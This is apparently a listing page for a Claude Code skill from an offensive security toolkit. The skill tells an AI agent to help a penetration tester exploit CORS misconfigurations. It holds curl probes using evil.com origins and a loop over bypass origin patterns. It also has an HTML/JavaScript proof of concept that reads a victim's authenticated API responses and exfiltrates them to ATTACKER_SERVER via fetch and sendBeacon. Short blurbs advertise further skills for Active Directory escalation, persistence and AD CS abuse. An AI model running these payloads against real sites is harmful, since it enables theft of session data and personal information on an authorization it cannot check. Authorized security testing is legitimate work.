acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill cors-misconfiguration --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/cors-misconfigurationContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing.
name: cors-misconfiguration description: > Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing. keywords: - cors - cors misconfiguration - cors bypass - cross-origin - origin reflection - null origin - access control allow origin - cors wildcard - cors credentials - cross-origin data theft - cors exploitation - sop bypass tools: - burpsuite - curl - corsy - CORScanner opsec: low
You are helping a penetration tester exploit Cross-Origin Resource Sharing misconfigurations. The target application sets CORS headers that allow unauthorized origins to read cross-origin responses, potentially enabling credential theft, session hijacking, and sensitive data exfiltration. The goal is to demonstrate that an attacker-controlled origin can read authenticated responses from the target. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
(user profile, API keys, session info, PII)
(CORS credential theft doesn't work with manual `Authorization` headers added by JavaScript — those require the attacker's JS to already have the token)
Test the target's CORS configuration by sending requests with various Origin headers. The critical combination is `Access-Control-Allow-Origin` set to an attacker-controllable value **plus** `Access-Control-Allow-Credentials: true`.
# Test with an arbitrary attacker origin curl -sI -H "Origin: https://evil.com" \ "https://TARGET/api/endpoint" | grep -i "access-control" # Test with null origin curl -sI -H "Origin: null" \ "https://TARGET/api/endpoint" | grep -i "access-control" # Test with a subdomain variant curl -sI -H "Origin: https://sub.TARGET" \ "https://TARGET/api/endpoint" | grep -i "access-control"
# Full CORS header scan across multiple origin patterns
ORIGINS=(
"https://evil.com"
"null"
"https://TARGET.evil.com"
"https://evil.TARGET"
"https://TARGETevil.com"
"https://evil-TARGET"
"https://sub.TARGET"
"https://TARGET_evil.com"
"https://TARGET%60evil.com"
)
for origin in "${ORIGINS[@]}"; do
echo "=== Origin: $origin ==="
curl -sI -H "Origin: $origin" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/sensitive" 2>/dev/null | \
grep -i "access-control"
echo
done| Response Headers | Severity | Exploitable? | |-----------------|----------|-------------| | `ACAO: https://evil.com` + `ACAC: true` | **Critical** | Yes — full credential theft | | `ACAO: null` + `ACAC: true` | **High** | Yes — via sandboxed iframe | | `ACAO: *` (no credentials) | **Medium** | Only if endpoint has sensitive data without auth | | `ACAO: *` + `ACAC: true` | **Invalid** | Browsers reject this combination | | `ACAO: https://sub.TARGET` + `ACAC: true` | **Medium** | Requires XSS on trusted subdomain | | No CORS headers | **None** | Not exploitable via CORS |
ACAO = `Access-Control-Allow-Origin`, ACAC = `Access-Control-Allow-Credentials`
The most common and critical misconfiguration — the server reflects the `Origin` header directly into `Access-Control-Allow-Origin`.
curl -sI -H "Origin: https://attacker-controlled.com" \ -H "Cookie: session=VALID_SESSION" \ "https://TARGET/api/user/profile" # Vulnerable if response includes: # Access-Control-Allow-Origin: https://attacker-controlled.com # Access-Control-Allow-Credentials: true
Host this on your attacker-controlled domain:
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC — Origin Reflection</h1>
<div id="result"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Display stolen data
document.getElementById('result').innerText = this.responseText;
// Exfiltrate to attacker server
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: this.responseText
});
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true; // Send victim's cookies
xhr.send();
</script>
</body>
</html>fetch('https://TARGET/api/user/profile', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
// Exfiltrate
navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
});The application whitelists `null` as a trusted origin. The `null` origin is sent by sandboxed iframes, `data:` URIs, and local file access.
curl -sI -H "Origin: null" \ -H "Cookie: session=VALID_SESSION" \ "https://TARGET/api/user/profile" # Vulnerable if response includes: # Access-
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…